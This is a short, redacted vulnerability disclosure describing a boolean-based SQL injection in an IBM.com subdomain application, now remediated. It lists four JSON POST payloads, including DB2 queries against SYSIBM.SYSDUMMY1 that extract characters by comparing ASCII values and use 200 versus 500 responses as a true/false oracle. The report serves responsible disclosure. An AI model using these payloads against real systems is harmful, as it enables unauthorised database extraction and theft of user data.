SQL Injection vulnerability found on IBM.com subdomain

Summary

SQL Injection vulnerability found on IBM.com subdomain was reported to IBM, analyzed and has been remediated. Thank you to our external researcher @570rm_.

I found a boolean-based SQL injection vulnerability in an application on an IBM.com subdomain, caused by the insecure handling of certain parameters in user controlled POST request bodies.

Payloads: {"<param>":"█████ IS NOT NULL AND LENGTH('abc') = 3 ORDER BY UPDATED DESC LIMIT 1"} The condition is true, and the application returns 200 OK.

{"<param>":"█████ IS NOT NULL AND LENGTH('abc') = 4 ORDER BY UPDATED DESC LIMIT 1"} The condition is false, and the application returns 500 Internal Server Error.

{"<param>":"█████ = '[email protected]' AND ASCII(SUBSTR(CHAR((SELECT CURRENT DATE FROM SYSIBM.SYSDUMMY1)), 1, 1)) = 50"} The database’s CURRENT DATE value is in the year 2026, so the first character of the date string is 2. Its ASCII value is 50, making the condition true. The application returns 200 OK.

{"<param>":"█████ = '[email protected]' AND ASCII(SUBSTR(CHAR((SELECT CURRENT DATE FROM SYSIBM.SYSDUMMY1)), 1, 1)) = 51"} The first character of the date string is 2, whose ASCII value is not 51. Therefore, the condition is false, and the application returns 500 Internal Server Error.

Since the app returns 200 for true and 500 for false, an attacker can extract data character by character to enumerate database names, dump stored records, and access sensitive user data.